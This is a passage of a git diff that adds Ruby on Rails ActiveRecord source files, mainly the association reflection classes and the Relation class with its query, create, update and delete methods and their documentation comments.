+ end
+
+ def _attr_readonly
+ message = "Instance level _attr_readonly method is deprecated, please use class level method."
+ ActiveSupport::Deprecation.warn message
+ defined?(@_attr_readonly) ? @_attr_readonly : self.class._attr_readonly
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/reflection.rb b/activerecord/lib/active_record/reflection.rb
new file mode 100644
index 0000000..60eda96
--- /dev/null
+++ b/activerecord/lib/active_record/reflection.rb
@@ -0,0 +1,583 @@
+module ActiveRecord
+ # = Active Record Reflection
+ module Reflection # :nodoc:
+ extend ActiveSupport::Concern
+
+ included do
+ class_attribute :reflections
+ self.reflections = {}
+ end
+
+ # Reflection enables to interrogate Active Record classes and objects
+ # about their associations and aggregations. This information can,
+ # for example, be used in a form builder that takes an Active Record object
+ # and creates input fields for all of the attributes depending on their type
+ # and displays the associations to other objects.
+ #
+ # MacroReflection class has info for AggregateReflection and AssociationReflection
+ # classes.
+ module ClassMethods
+ def create_reflection(macro, name, scope, options, active_record)
+ case macro
+ when :has_many, :belongs_to, :has_one, :has_and_belongs_to_many
+ klass = options[:through] ? ThroughReflection : AssociationReflection
+ reflection = klass.new(macro, name, scope, options, active_record)
+ when :composed_of
+ reflection = AggregateReflection.new(macro, name, scope, options, active_record)
+ end
+
+ self.reflections = self.reflections.merge(name => reflection)
+ reflection
+ end
+
+ # Returns an array of AggregateReflection objects for all the aggregations in the class.
+ def reflect_on_all_aggregations
+ reflections.values.grep(AggregateReflection)
+ end
+
+ # Returns the AggregateReflection object for the named +aggregation+ (use the symbol).
+ #
+ # Account.reflect_on_aggregation(:balance) # => the balance AggregateReflection
+ #
+ def reflect_on_aggregation(aggregation)
+ reflection = reflections[aggregation]
+ reflection if reflection.is_a?(AggregateReflection)
+ end
+
+ # Returns an array of AssociationReflection objects for all the
+ # associations in the class. If you only want to reflect on a certain
+ # association type, pass in the symbol (<tt>:has_many</tt>, <tt>:has_one</tt>,
+ # <tt>:belongs_to</tt>) as the first parameter.
+ #
+ # Example:
+ #
+ # Account.reflect_on_all_associations # returns an array of all associations
+ # Account.reflect_on_all_associations(:has_many) # returns an array of all has_many associations
+ #
+ def reflect_on_all_associations(macro = nil)
+ association_reflections = reflections.values.grep(AssociationReflection)
+ macro ? association_reflections.select { |reflection| reflection.macro == macro } : association_reflections
+ end
+
+ # Returns the AssociationReflection object for the +association+ (use the symbol).
+ #
+ # Account.reflect_on_association(:owner) # returns the owner AssociationReflection
+ # Invoice.reflect_on_association(:line_items).macro # returns :has_many
+ #
+ def reflect_on_association(association)
+ reflection = reflections[association]
+ reflection if reflection.is_a?(AssociationReflection)
+ end
+
+ # Returns an array of AssociationReflection objects for all associations which have <tt>:autosave</tt> enabled.
+ def reflect_on_all_autosave_associations
+ reflections.values.select { |reflection| reflection.options[:autosave] }
+ end
+ end
+
+ # Base class for AggregateReflection and AssociationReflection. Objects of
+ # AggregateReflection and AssociationReflection are returned by the Reflection::ClassMethods.
+ #
+ # MacroReflection
+ # AggregateReflection
+ # AssociationReflection
+ # ThroughReflection
+ class MacroReflection
+ # Returns the name of the macro.
+ #
+ # <tt>composed_of :balance, class_name: 'Money'</tt> returns <tt>:balance</tt>
+ # <tt>has_many :clients</tt> returns <tt>:clients</tt>
+ attr_reader :name
+
+ # Returns the macro type.
+ #
+ # <tt>composed_of :balance, class_name: 'Money'</tt> returns <tt>:composed_of</tt>
+ # <tt>has_many :clients</tt> returns <tt>:has_many</tt>
+ attr_reader :macro
+
+ attr_reader :scope
+
+ # Returns the hash of options used for the macro.
+ #
+ # <tt>composed_of :balance, class_name: 'Money'</tt> returns <tt>{ class_name: "Money" }</tt>
+ # <tt>has_many :clients</tt> returns +{}+
+ attr_reader :options
+
+ attr_reader :active_record
+
+ attr_reader :plural_name # :nodoc:
+
+ def initialize(macro, name, scope, options, active_record)
+ @macro = macro
+ @name = name
+ @scope = scope
+ @options = options
+ @active_record = active_record
+ @plural_name = active_record.pluralize_table_names ?
+ name.to_s.pluralize : name.to_s
+ end
+
+ # Returns the class for the macro.
+ #
+ # <tt>composed_of :balance, class_name: 'Money'</tt> returns the Money class
+ # <tt>has_many :clients</tt> returns the Client class
+ def klass
+ @klass ||= class_name.constantize
+ end
+
+ # Returns the class name for the macro.
+ #
+ # <tt>composed_of :balance, class_name: 'Money'</tt> returns <tt>'Money'</tt>
+ # <tt>has_many :clients</tt> returns <tt>'Client'</tt>
+ def class_name
+ @class_name ||= (options[:class_name] || derive_class_name).to_s
+ end
+
+ # Returns +true+ if +self+ and +other_aggregation+ have the same +name+ attribute, +active_record+ attribute,
+ # and +other_aggregation+ has an options hash assigned to it.
+ def ==(other_aggregation)
+ super ||
+ other_aggregation.kind_of?(self.class) &&
+ name == other_aggregation.name &&
+ other_aggregation.options &&
+ active_record == other_aggregation.active_record
+ end
+
+ private
+ def derive_class_name
+ name.to_s.camelize
+ end
+ end
+
+
+ # Holds all the meta-data about an aggregation as it was specified in the
+ # Active Record class.
+ class AggregateReflection < MacroReflection #:nodoc:
+ def mapping
+ mapping = options[:mapping] || [name, name]
+ mapping.first.is_a?(Array) ? mapping : [mapping]
+ end
+ end
+
+ # Holds all the meta-data about an association as it was specified in the
+ # Active Record class.
+ class AssociationReflection < MacroReflection #:nodoc:
+ # Returns the target association's class.
+ #
+ # class Author < ActiveRecord::Base
+ # has_many :books
+ # end
+ #
+ # Author.reflect_on_association(:books).klass
+ # # => Book
+ #
+ # <b>Note:</b> Do not call +klass.new+ or +klass.create+ to instantiate
+ # a new association object. Use +build_association+ or +create_association+
+ # instead. This allows plugins to hook into association object creation.
+ def klass
+ @klass ||= active_record.send(:compute_type, class_name)
+ end
+
+ def initialize(*args)
+ super
+ @collection = [:has_many, :has_and_belongs_to_many].include?(macro)
+ end
+
+ # Returns a new, unsaved instance of the associated class. +attributes+ will
+ # be passed to the class's constructor.
+ def build_association(attributes, &block)
+ klass.new(attributes, &block)
+ end
+
+ def table_name
+ @table_name ||= klass.table_name
+ end
+
+ def quoted_table_name
+ @quoted_table_name ||= klass.quoted_table_name
+ end
+
+ def join_table
+ @join_table ||= options[:join_table] || derive_join_table
+ end
+
+ def foreign_key
+ @foreign_key ||= options[:foreign_key] || derive_foreign_key
+ end
+
+ def foreign_type
+ @foreign_type ||= options[:foreign_type] || "#{name}_type"
+ end
+
+ def type
+ @type ||= options[:as] && "#{options[:as]}_type"
+ end
+
+ def primary_key_column
+ @primary_key_column ||= klass.columns.find { |c| c.name == klass.primary_key }
+ end
+
+ def association_foreign_key
+ @association_foreign_key ||= options[:association_foreign_key] || class_name.foreign_key
+ end
+
+ # klass option is necessary to support loading polymorphic associations
+ def association_primary_key(klass = nil)
+ options[:primary_key] || primary_key(klass || self.klass)
+ end
+
+ def active_record_primary_key
+ @active_record_primary_key ||= options[:primary_key] || primary_key(active_record)
+ end
+
+ def counter_cache_column
+ if options[:counter_cache] == true
+ "#{active_record.name.demodulize.underscore.pluralize}_count"
+ elsif options[:counter_cache]
+ options[:counter_cache].to_s
+ end
+ end
+
+ def columns(tbl_name)
+ @columns ||= klass.connection.columns(tbl_name)
+ end
+
+ def reset_column_information
+ @columns = nil
+ end
+
+ def check_validity!
+ check_validity_of_inverse!
+
+ if has_and_belongs_to_many? && association_foreign_key == foreign_key
+ raise HasAndBelongsToManyAssociationForeignKeyNeeded.new(self)
+ end
+ end
+
+ def check_validity_of_inverse!
+ unless options[:polymorphic]
+ if has_inverse? && inverse_of.nil?
+ raise InverseOfAssociationNotFoundError.new(self)
+ end
+ end
+ end
+
+ def through_reflection
+ nil
+ end
+
+ def source_reflection
+ nil
+ end
+
+ # A chain of reflections from this one back to the owner. For more see the explanation in
+ # ThroughReflection.
+ def chain
+ [self]
+ end
+
+ def nested?
+ false
+ end
+
+ # An array of arrays of scopes. Each item in the outside array corresponds to a reflection
+ # in the #chain.
+ def scope_chain
+ scope ? [[scope]] : [[]]
+ end
+
+ alias :source_macro :macro
+
+ def has_inverse?
+ @options[:inverse_of]
+ end
+
+ def inverse_of
+ if has_inverse?
+ @inverse_of ||= klass.reflect_on_association(options[:inverse_of])
+ end
+ end
+
+ def polymorphic_inverse_of(associated_class)
+ if has_inverse?
+ if inverse_relationship = associated_class.reflect_on_association(options[:inverse_of])
+ inverse_relationship
+ else
+ raise InverseOfAssociationNotFoundError.new(self, associated_class)
+ end
+ end
+ end
+
+ # Returns whether or not this association reflection is for a collection
+ # association. Returns +true+ if the +macro+ is either +has_many+ or
+ # +has_and_belongs_to_many+, +false+ otherwise.
+ def collection?
+ @collection
+ end
+
+ # Returns whether or not the association should be validated as part of
+ # the parent's validation.
+ #
+ # Unless you explicitly disable validation with
+ # <tt>validate: false</tt>, validation will take place when:
+ #
+ # * you explicitly enable validation; <tt>validate: true</tt>
+ # * you use autosave; <tt>autosave: true</tt>
+ # * the association is a +has_many+ association
+ def validate?
+ !options[:validate].nil? ? options[:validate] : (options[:autosave] == true || macro == :has_many)
+ end
+
+ # Returns +true+ if +self+ is a +belongs_to+ reflection.
+ def belongs_to?
+ macro == :belongs_to
+ end
+
+ def has_and_belongs_to_many?
+ macro == :has_and_belongs_to_many
+ end
+
+ def association_class
+ case macro
+ when :belongs_to
+ if options[:polymorphic]
+ Associations::BelongsToPolymorphicAssociation
+ else
+ Associations::BelongsToAssociation
+ end
+ when :has_and_belongs_to_many
+ Associations::HasAndBelongsToManyAssociation
+ when :has_many
+ if options[:through]
+ Associations::HasManyThroughAssociation
+ else
+ Associations::HasManyAssociation
+ end
+ when :has_one
+ if options[:through]
+ Associations::HasOneThroughAssociation
+ else
+ Associations::HasOneAssociation
+ end
+ end
+ end
+
+ def polymorphic?
+ options.key? :polymorphic
+ end
+
+ private
+ def derive_class_name
+ class_name = name.to_s.camelize
+ class_name = class_name.singularize if collection?
+ class_name
+ end
+
+ def derive_foreign_key
+ if belongs_to?
+ "#{name}_id"
+ elsif options[:as]
+ "#{options[:as]}_id"
+ else
+ active_record.name.foreign_key
+ end
+ end
+
+ def derive_join_table
+ [active_record.table_name, klass.table_name].sort.join("\0").gsub(/^(.*_)(.+)\0\1(.+)/, '\1\2_\3').gsub("\0", "_")
+ end
+
+ def primary_key(klass)
+ klass.primary_key || raise(UnknownPrimaryKey.new(klass))
+ end
+ end
+
+ # Holds all the meta-data about a :through association as it was specified
+ # in the Active Record class.
+ class ThroughReflection < AssociationReflection #:nodoc:
+ delegate :foreign_key, :foreign_type, :association_foreign_key,
+ :active_record_primary_key, :type, :to => :source_reflection
+
+ # Gets the source of the through reflection. It checks both a singularized
+ # and pluralized form for <tt>:belongs_to</tt> or <tt>:has_many</tt>.
+ #
+ # class Post < ActiveRecord::Base
+ # has_many :taggings
+ # has_many :tags, through: :taggings
+ # end
+ #
+ # class Tagging < ActiveRecord::Base
+ # belongs_to :post
+ # belongs_to :tag
+ # end
+ #
+ # tags_reflection = Post.reflect_on_association(:tags)
+ #
+ # taggings_reflection = tags_reflection.source_reflection
+ # # => <ActiveRecord::Reflection::AssociationReflection: @macro=:belongs_to, @name=:tag, @active_record=Tagging, @plural_name="tags">
+ #
+ def source_reflection
+ @source_reflection ||= source_reflection_names.collect { |name| through_reflection.klass.reflect_on_association(name) }.compact.first
+ end
+
+ # Returns the AssociationReflection object specified in the <tt>:through</tt> option
+ # of a HasManyThrough or HasOneThrough association.
+ #
+ # class Post < ActiveRecord::Base
+ # has_many :taggings
+ # has_many :tags, through: :taggings
+ # end
+ #
+ # tags_reflection = Post.reflect_on_association(:tags)
+ # taggings_reflection = tags_reflection.through_reflection
+ #
+ def through_reflection
+ @through_reflection ||= active_record.reflect_on_association(options[:through])
+ end
+
+ # Returns an array of reflections which are involved in this association. Each item in the
+ # array corresponds to a table which will be part of the query for this association.
+ #
+ # The chain is built by recursively calling #chain on the source reflection and the through
+ # reflection. The base case for the recursion is a normal association, which just returns
+ # [self] as its #chain.
+ #
+ # class Post < ActiveRecord::Base
+ # has_many :taggings
+ # has_many :tags, through: :taggings
+ # end
+ #
+ # tags_reflection = Post.reflect_on_association(:tags)
+ # tags_reflection.chain
+ # # => [<ActiveRecord::Reflection::ThroughReflection: @macro=:has_many, @name=:tags, @options={:through=>:taggings}, @active_record=Post>,
+ # <ActiveRecord::Reflection::AssociationReflection: @macro=:has_many, @name=:taggings, @options={}, @active_record=Post>]
+ #
+ def chain
+ @chain ||= begin
+ chain = source_reflection.chain + through_reflection.chain
+ chain[0] = self # Use self so we don't lose the information from :source_type
+ chain
+ end
+ end
+
+ # Consider the following example:
+ #
+ # class Person
+ # has_many :articles
+ # has_many :comment_tags, through: :articles
+ # end
+ #
+ # class Article
+ # has_many :comments
+ # has_many :comment_tags, through: :comments, source: :tags
+ # end
+ #
+ # class Comment
+ # has_many :tags
+ # end
+ #
+ # There may be scopes on Person.comment_tags, Article.comment_tags and/or Comment.tags,
+ # but only Comment.tags will be represented in the #chain. So this method creates an array
+ # of scopes corresponding to the chain.
+ def scope_chain
+ @scope_chain ||= begin
+ scope_chain = source_reflection.scope_chain.map(&:dup)
+
+ # Add to it the scope from this reflection (if any)
+ scope_chain.first << scope if scope
+
+ through_scope_chain = through_reflection.scope_chain
+
+ if options[:source_type]
+ through_scope_chain.first <<
+ through_reflection.klass.where(foreign_type => options[:source_type])
+ end
+
+ # Recursively fill out the rest of the array from the through reflection
+ scope_chain + through_scope_chain
+ end
+ end
+
+ # The macro used by the source association
+ def source_macro
+ source_reflection.source_macro
+ end
+
+ # A through association is nested if there would be more than one join table
+ def nested?
+ chain.length > 2 || through_reflection.macro == :has_and_belongs_to_many
+ end
+
+ # We want to use the klass from this reflection, rather than just delegate straight to
+ # the source_reflection, because the source_reflection may be polymorphic. We still
+ # need to respect the source_reflection's :primary_key option, though.
+ def association_primary_key(klass = nil)
+ # Get the "actual" source reflection if the immediate source reflection has a
+ # source reflection itself
+ source_reflection = self.source_reflection
+ while source_reflection.source_reflection
+ source_reflection = source_reflection.source_reflection
+ end
+
+ source_reflection.options[:primary_key] || primary_key(klass || self.klass)
+ end
+
+ # Gets an array of possible <tt>:through</tt> source reflection names in both singular and plural form.
+ #
+ # class Post < ActiveRecord::Base
+ # has_many :taggings
+ # has_many :tags, through: :taggings
+ # end
+ #
+ # tags_reflection = Post.reflect_on_association(:tags)
+ # tags_reflection.source_reflection_names
+ # # => [:tag, :tags]
+ #
+ def source_reflection_names
+ @source_reflection_names ||= (options[:source] ? [options[:source]] : [name.to_s.singularize, name]).collect { |n| n.to_sym }
+ end
+
+ def source_options
+ source_reflection.options
+ end
+
+ def through_options
+ through_reflection.options
+ end
+
+ def check_validity!
+ if through_reflection.nil?
+ raise HasManyThroughAssociationNotFoundError.new(active_record.name, self)
+ end
+
+ if through_reflection.options[:polymorphic]
+ raise HasManyThroughAssociationPolymorphicThroughError.new(active_record.name, self)
+ end
+
+ if source_reflection.nil?
+ raise HasManyThroughSourceAssociationNotFoundError.new(self)
+ end
+
+ if options[:source_type] && source_reflection.options[:polymorphic].nil?
+ raise HasManyThroughAssociationPointlessSourceTypeError.new(active_record.name, self, source_reflection)
+ end
+
+ if source_reflection.options[:polymorphic] && options[:source_type].nil?
+ raise HasManyThroughAssociationPolymorphicSourceError.new(active_record.name, self, source_reflection)
+ end
+
+ if macro == :has_one && through_reflection.collection?
+ raise HasOneThroughCantAssociateThroughCollection.new(active_record.name, self, through_reflection)
+ end
+
+ check_validity_of_inverse!
+ end
+
+ private
+ def derive_class_name
+ # get the class_name of the belongs_to association of the through reflection
+ options[:source_type] || source_reflection.class_name
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/relation.rb b/activerecord/lib/active_record/relation.rb
new file mode 100644
index 0000000..56462d3
--- /dev/null
+++ b/activerecord/lib/active_record/relation.rb
@@ -0,0 +1,631 @@
+# -*- coding: utf-8 -*-
+
+module ActiveRecord
+ # = Active Record Relation
+ class Relation
+ JoinOperation = Struct.new(:relation, :join_class, :on)
+
+ MULTI_VALUE_METHODS = [:includes, :eager_load, :preload, :select, :group,
+ :order, :joins, :where, :having, :bind, :references,
+ :extending]
+
+ SINGLE_VALUE_METHODS = [:limit, :offset, :lock, :readonly, :from, :reordering,
+ :reverse_order, :distinct, :create_with, :uniq]
+
+ VALUE_METHODS = MULTI_VALUE_METHODS + SINGLE_VALUE_METHODS
+
+ include FinderMethods, Calculations, SpawnMethods, QueryMethods, Batches, Explain, Delegation
+
+ attr_reader :table, :klass, :loaded
+ attr_accessor :default_scoped, :proxy_association
+ alias :model :klass
+ alias :loaded? :loaded
+ alias :default_scoped? :default_scoped
+
+ def initialize(klass, table, values = {})
+ @klass = klass
+ @table = table
+ @values = values
+ @implicit_readonly = nil
+ @loaded = false
+ @default_scoped = false
+ end
+
+ def initialize_copy(other)
+ # This method is a hot spot, so for now, use Hash[] to dup the hash.
+ # https://bugs.ruby-lang.org/issues/7166
+ @values = Hash[@values]
+ @values[:bind] = @values[:bind].dup if @values.key? :bind
+ reset
+ end
+
+ def insert(values)
+ primary_key_value = nil
+
+ if primary_key && Hash === values
+ primary_key_value = values[values.keys.find { |k|
+ k.name == primary_key
+ }]
+
+ if !primary_key_value && connection.prefetch_primary_key?(klass.table_name)
+ primary_key_value = connection.next_sequence_value(klass.sequence_name)
+ values[klass.arel_table[klass.primary_key]] = primary_key_value
+ end
+ end
+
+ im = arel.create_insert
+ im.into @table
+
+ conn = @klass.connection
+
+ substitutes = values.sort_by { |arel_attr,_| arel_attr.name }
+ binds = substitutes.map do |arel_attr, value|
+ [@klass.columns_hash[arel_attr.name], value]
+ end
+
+ substitutes.each_with_index do |tuple, i|
+ tuple[1] = conn.substitute_at(binds[i][0], i)
+ end
+
+ if values.empty? # empty insert
+ im.values = Arel.sql(connection.empty_insert_statement_value)
+ else
+ im.insert substitutes
+ end
+
+ conn.insert(
+ im,
+ 'SQL',
+ primary_key,
+ primary_key_value,
+ nil,
+ binds)
+ end
+
+ # Initializes new record from relation while maintaining the current
+ # scope.
+ #
+ # Expects arguments in the same format as +Base.new+.
+ #
+ # users = User.where(name: 'DHH')
+ # user = users.new # => #<User id: nil, name: "DHH", created_at: nil, updated_at: nil>
+ #
+ # You can also pass a block to new with the new record as argument:
+ #
+ # user = users.new { |user| user.name = 'Oscar' }
+ # user.name # => Oscar
+ def new(*args, &block)
+ scoping { @klass.new(*args, &block) }
+ end
+
+ alias build new
+
+ # Tries to create a new record with the same scoped attributes
+ # defined in the relation. Returns the initialized object if validation fails.
+ #
+ # Expects arguments in the same format as +Base.create+.
+ #
+ # ==== Examples
+ # users = User.where(name: 'Oscar')
+ # users.create # #<User id: 3, name: "oscar", ...>
+ #
+ # users.create(name: 'fxn')
+ # users.create # #<User id: 4, name: "fxn", ...>
+ #
+ # users.create { |user| user.name = 'tenderlove' }
+ # # #<User id: 5, name: "tenderlove", ...>
+ #
+ # users.create(name: nil) # validation on name
+ # # #<User id: nil, name: nil, ...>
+ def create(*args, &block)
+ scoping { @klass.create(*args, &block) }
+ end
+
+ # Similar to #create, but calls +create!+ on the base class. Raises
+ # an exception if a validation error occurs.
+ #
+ # Expects arguments in the same format as <tt>Base.create!</tt>.
+ def create!(*args, &block)
+ scoping { @klass.create!(*args, &block) }
+ end
+
+ def first_or_create(attributes = nil, &block) # :nodoc:
+ first || create(attributes, &block)
+ end
+
+ def first_or_create!(attributes = nil, &block) # :nodoc:
+ first || create!(attributes, &block)
+ end
+
+ def first_or_initialize(attributes = nil, &block) # :nodoc:
+ first || new(attributes, &block)
+ end
+
+ # Finds the first record with the given attributes, or creates a record with the attributes
+ # if one is not found.
+ #
+ # ==== Examples
+ # # Find the first user named Penélope or create a new one.
+ # User.find_or_create_by(first_name: 'Penélope')
+ # # => <User id: 1, first_name: 'Penélope', last_name: nil>
+ #
+ # # Find the first user named Penélope or create a new one.
+ # # We already have one so the existing record will be returned.
+ # User.find_or_create_by(first_name: 'Penélope')
+ # # => <User id: 1, first_name: 'Penélope', last_name: nil>
+ #
+ # # Find the first user named Scarlett or create a new one with a particular last name.
+ # User.create_with(last_name: 'Johansson').find_or_create_by(first_name: 'Scarlett')
+ # # => <User id: 2, first_name: 'Scarlett', last_name: 'Johansson'>
+ #
+ # # Find the first user named Scarlett or create a new one with a different last name.
+ # # We already have one so the existing record will be returned.
+ # User.find_or_create_by(first_name: 'Scarlett') do |user|
+ # user.last_name = "O'Hara"
+ # end
+ # # => <User id: 2, first_name: 'Scarlett', last_name: 'Johansson'>
+ def find_or_create_by(attributes, &block)
+ find_by(attributes) || create(attributes, &block)
+ end
+
+ # Like <tt>find_or_create_by</tt>, but calls <tt>create!</tt> so an exception is raised if the created record is invalid.
+ def find_or_create_by!(attributes, &block)
+ find_by(attributes) || create!(attributes, &block)
+ end
+
+ # Like <tt>find_or_create_by</tt>, but calls <tt>new</tt> instead of <tt>create</tt>.
+ def find_or_initialize_by(attributes, &block)
+ find_by(attributes) || new(attributes, &block)
+ end
+
+ # Runs EXPLAIN on the query or queries triggered by this relation and
+ # returns the result as a string. The string is formatted imitating the
+ # ones printed by the database shell.
+ #
+ # Note that this method actually runs the queries, since the results of some
+ # are needed by the next ones when eager loading is going on.
+ #
+ # Please see further details in the
+ # {Active Record Query Interface guide}[http://guides.rubyonrails.org/active_record_querying.html#running-explain].
+ def explain
+ exec_explain(collecting_queries_for_explain { exec_queries })
+ end
+
+ # Converts relation objects to Array.
+ def to_a
+ load
+ @records
+ end
+
+ def as_json(options = nil) #:nodoc:
+ to_a.as_json(options)
+ end
+
+ # Returns size of the records.
+ def size
+ loaded? ? @records.length : count
+ end
+
+ # Returns true if there are no records.
+ def empty?
+ return @records.empty? if loaded?
+
+ c = count
+ c.respond_to?(:zero?) ? c.zero? : c.empty?
+ end
+
+ # Returns true if there are any records.
+ def any?
+ if block_given?
+ to_a.any? { |*block_args| yield(*block_args) }
+ else
+ !empty?
+ end
+ end
+
+ # Returns true if there is more than one record.
+ def many?
+ if block_given?
+ to_a.many? { |*block_args| yield(*block_args) }
+ else
+ limit_value ? to_a.many? : size > 1
+ end
+ end
+
+ # Scope all queries to the current scope.
+ #
+ # Comment.where(post_id: 1).scoping do
+ # Comment.first
+ # end
+ # # => SELECT "comments".* FROM "comments" WHERE "comments"."post_id" = 1 ORDER BY "comments"."id" ASC LIMIT 1
+ #
+ # Please check unscoped if you want to remove all previous scopes (including
+ # the default_scope) during the execution of a block.
+ def scoping
+ previous, klass.current_scope = klass.current_scope, self
+ yield
+ ensure
+ klass.current_scope = previous
+ end
+
+ # Updates all records with details given if they match a set of conditions supplied, limits and order can
+ # also be supplied. This method constructs a single SQL UPDATE statement and sends it straight to the
+ # database. It does not instantiate the involved models and it does not trigger Active Record callbacks
+ # or validations.
+ #
+ # ==== Parameters
+ #
+ # * +updates+ - A string, array, or hash representing the SET part of an SQL statement.
+ #
+ # ==== Examples
+ #
+ # # Update all customers with the given attributes
+ # Customer.update_all wants_email: true
+ #
+ # # Update all books with 'Rails' in their title
+ # Book.where('title LIKE ?', '%Rails%').update_all(author: 'David')
+ #
+ # # Update all books that match conditions, but limit it to 5 ordered by date
+ # Book.where('title LIKE ?', '%Rails%').order(:created_at).limit(5).update_all(author: 'David')
+ def update_all(updates)
+ raise ArgumentError, "Empty list of attributes to change" if updates.blank?
+
+ stmt = Arel::UpdateManager.new(arel.engine)
+
+ stmt.set Arel.sql(@klass.send(:sanitize_sql_for_assignment, updates))
+ stmt.table(table)
+ stmt.key = table[primary_key]
+
+ if with_default_scope.joins_values.any?
+ @klass.connection.join_to_update(stmt, arel)
+ else
+ stmt.take(arel.limit)
+ stmt.order(*arel.orders)
+ stmt.wheres = arel.constraints
+ end
+
+ @klass.connection.update stmt, 'SQL', bind_values
+ end
+
+ # Updates an object (or multiple objects) and saves it to the database, if validations pass.
+ # The resulting object is returned whether the object was saved successfully to the database or not.
+ #
+ # ==== Parameters
+ #
+ # * +id+ - This should be the id or an array of ids to be updated.
+ # * +attributes+ - This should be a hash of attributes or an array of hashes.
+ #
+ # ==== Examples
+ #
+ # # Updates one record
+ # Person.update(15, user_name: 'Samuel', group: 'expert')
+ #
+ # # Updates multiple records
+ # people = { 1 => { "first_name" => "David" }, 2 => { "first_name" => "Jeremy" } }
+ # Person.update(people.keys, people.values)
+ def update(id, attributes)
+ if id.is_a?(Array)
+ id.map.with_index { |one_id, idx| update(one_id, attributes[idx]) }
+ else
+ object = find(id)
+ object.update(attributes)
+ object
+ end
+ end
+
+ # Destroys the records matching +conditions+ by instantiating each
+ # record and calling its +destroy+ method. Each object's callbacks are
+ # executed (including <tt>:dependent</tt> association options). Returns the
+ # collection of objects that were destroyed; each will be frozen, to
+ # reflect that no changes should be made (since they can't be persisted).
+ #
+ # Note: Instantiation, callback execution, and deletion of each
+ # record can be time consuming when you're removing many records at
+ # once. It generates at least one SQL +DELETE+ query per record (or
+ # possibly more, to enforce your callbacks). If you want to delete many
+ # rows quickly, without concern for their associations or callbacks, use
+ # +delete_all+ instead.
+ #
+ # ==== Parameters
+ #
+ # * +conditions+ - A string, array, or hash that specifies which records
+ # to destroy. If omitted, all records are destroyed. See the
+ # Conditions section in the introduction to ActiveRecord::Base for
+ # more information.
+ #
+ # ==== Examples
+ #
+ # Person.destroy_all("last_login < '2004-04-04'")
+ # Person.destroy_all(status: "inactive")
+ # Person.where(age: 0..18).destroy_all
+ def destroy_all(conditions = nil)
+ if conditions
+ where(conditions).destroy_all
+ else
+ to_a.each {|object| object.destroy }.tap { reset }
+ end
+ end
+
+ # Destroy an object (or multiple objects) that has the given id. The object is instantiated first,
+ # therefore all callbacks and filters are fired off before the object is deleted. This method is
+ # less efficient than ActiveRecord#delete but allows cleanup methods and other actions to be run.
+ #
+ # This essentially finds the object (or multiple objects) with the given id, creates a new object
+ # from the attributes, and then calls destroy on it.
+ #
+ # ==== Parameters
+ #
+ # * +id+ - Can be either an Integer or an Array of Integers.
+ #
+ # ==== Examples
+ #
+ # # Destroy a single object
+ # Todo.destroy(1)
+ #
+ # # Destroy multiple objects
+ # todos = [1,2,3]
+ # Todo.destroy(todos)
+ def destroy(id)
+ if id.is_a?(Array)
+ id.map { |one_id| destroy(one_id) }
+ else
+ find(id).destroy
+ end
+ end
+
+ # Deletes the records matching +conditions+ without instantiating the records
+ # first, and hence not calling the +destroy+ method nor invoking callbacks. This
+ # is a single SQL DELETE statement that goes straight to the database, much more
+ # efficient than +destroy_all+. Be careful with relations though, in particular
+ # <tt>:dependent</tt> rules defined on associations are not honored. Returns the
+ # number of rows affected.
+ #
+ # Post.delete_all("person_id = 5 AND (category = 'Something' OR category = 'Else')")
+ # Post.delete_all(["person_id = ? AND (category = ? OR category = ?)", 5, 'Something', 'Else'])
+ # Post.where(person_id: 5).where(category: ['Something', 'Else']).delete_all
+ #
+ # Both calls delete the affected posts all at once with a single DELETE statement.
+ # If you need to destroy dependent associations or call your <tt>before_*</tt> or
+ # +after_destroy+ callbacks, use the +destroy_all+ method instead.
+ #
+ # If a limit scope is supplied, +delete_all+ raises an ActiveRecord error:
+ #
+ # Post.limit(100).delete_all
+ # # => ActiveRecord::ActiveRecordError: delete_all doesn't support limit scope
+ def delete_all(conditions = nil)
+ raise ActiveRecordError.new("delete_all doesn't support limit scope") if self.limit_value
+
+ if conditions
+ where(conditions).delete_all
+ else
+ stmt = Arel::DeleteManager.new(arel.engine)
+ stmt.from(table)
+
+ if with_default_scope.joins_values.any?
+ @klass.connection.join_to_delete(stmt, arel, table[primary_key])
+ else
+ stmt.wheres = arel.constraints
+ end
+
+ affected = @klass.connection.delete(stmt, 'SQL', bind_values)
+
+ reset
+ affected
+ end
+ end
+
+ # Deletes the row with a primary key matching the +id+ argument, using a
+ # SQL +DELETE+ statement, and returns the number of rows deleted. Active
+ # Record objects are not instantiated, so the object's callbacks are not
+ # executed, including any <tt>:dependent</tt> association options.
+ #
+ # You can delete multiple rows at once by passing an Array of <tt>id</tt>s.
+ #
+ # Note: Although it is often much faster than the alternative,
+ # <tt>#destroy</tt>, skipping callbacks might bypass business logic in
+ # your application that ensures referential integrity or performs other
+ # essential jobs.
+ #
+ # ==== Examples
+ #
+ # # Delete a single row
+ # Todo.delete(1)
+ #
+ # # Delete multiple rows
+ # Todo.delete([2,3,4])
+ def delete(id_or_array)
+ where(primary_key => id_or_array).delete_all
+ end
+
+ # Causes the records to be loaded from the database if they have not
+ # been loaded already. You can use this if for some reason you need
+ # to explicitly load some records before actually using them. The
+ # return value is the relation itself, not the records.
+ #
+ # Post.where(published: true).load # => #<ActiveRecord::Relation>
+ def load
+ exec_queries unless loaded?
+
+ self
+ end
+
+ # Forces reloading of relation.
+ def reload
+ reset
+ load
+ end
+
+ def reset
+ @first = @last = @to_sql = @order_clause = @scope_for_create = @arel = @loaded = nil
+ @should_eager_load = @join_dependency = nil
+ @records = []
+ self
+ end
+
+ # Returns sql statement for the relation.
+ #
+ # User.where(name: 'Oscar').to_sql
+ # # => SELECT "users".* FROM "users" WHERE "users"."name" = 'Oscar'
+ def to_sql
+ @to_sql ||= klass.connection.to_sql(arel, bind_values.dup)
+ end
+
+ # Returns a hash of where conditions.
+ #
+ # User.where(name: 'Oscar').where_values_hash
+ # # => {name: "Oscar"}
+ def where_values_hash
+ equalities = with_default_scope.where_values.grep(Arel::Nodes::Equality).find_all { |node|
+ node.left.relation.name == table_name
+ }
+
+ binds = Hash[bind_values.find_all(&:first).map { |column, v| [column.name, v] }]
+
+ Hash[equalities.map { |where|
+ name = where.left.name
+ [name, binds.fetch(name.to_s) { where.right }]
+ }]
+ end
+
+ def scope_for_create
+ @scope_for_create ||= where_values_hash.merge(create_with_value)
+ end
+
+ # Returns true if relation needs eager loading.
+ def eager_loading?
+ @should_eager_load ||=
+ eager_load_values.any? ||
+ includes_values.any? && (joined_includes_values.any? || references_eager_loaded_tables?)
